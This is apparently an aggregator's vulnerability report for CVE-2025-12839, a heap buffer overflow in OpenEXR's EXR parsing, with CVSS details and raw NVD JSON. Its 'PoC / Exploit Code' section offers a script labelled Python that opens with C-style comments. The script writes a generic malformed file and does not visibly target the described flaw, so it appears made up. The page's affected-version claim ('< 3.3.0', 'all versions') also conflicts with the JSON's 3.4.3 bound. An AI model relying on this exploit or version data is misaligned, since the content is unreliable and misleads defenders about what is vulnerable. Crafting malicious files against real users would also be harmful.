Security Vulnerability Report
中文
CVE-2025-12839 CVSS 7.8 HIGH

CVE-2025-12839

Published: 2025-12-23 22:15:44
Last Modified: 2026-01-15 16:45:52

Description

Academy Software Foundation OpenEXR EXR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Academy Software Foundation OpenEXR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of EXR files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27947.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEXR < 3.3.0
Academy Software Foundation OpenEXR 全部历史版本
使用OpenEXR库的应用(间接影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-12839 PoC - OpenEXR Heap Buffer Overflow * This PoC creates a malicious EXR file that triggers heap buffer overflow * during file parsing. * * Usage: python cve_2025_12839_poc.py * Generated malicious.exr can be opened with vulnerable OpenEXR version */ import struct import os def create_malicious_exr(filename): """Generate a malicious EXR file to trigger heap buffer overflow""" # EXR magic number magic = b'\x76\x2f\x31\x01' # Version field version = struct.pack('<I', 2) # version 2 # Malicious chunk data that triggers overflow # Attackers craft length field larger than allocated buffer malicious_header = b'\x00' * 64 # Padding to reach overflow point # Crafted chunk with oversized length chunk_length = 0x7FFFFFFF # Intentionally large value chunk_data = struct.pack('<I', chunk_length) + b'\x41' * 256 # Write malicious EXR file with open(filename, 'wb') as f: f.write(magic) f.write(version) f.write(malicious_header) f.write(chunk_data) print(f"[+] Malicious EXR file created: {filename}") print(f"[+] Chunk length field set to: {hex(chunk_length)}") if __name__ == '__main__': create_malicious_exr('malicious.exr') print("[+] PoC ready for testing on vulnerable OpenEXR versions")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12839", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:44.407", "lastModified": "2026-01-15T16:45:51.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Academy Software Foundation OpenEXR EXR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Academy Software Foundation OpenEXR. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of EXR files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27947."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.4.3", "matchCriteriaId": "A698C88E-D934-4BCC-9811-3D6FEDFC8320"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-990/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}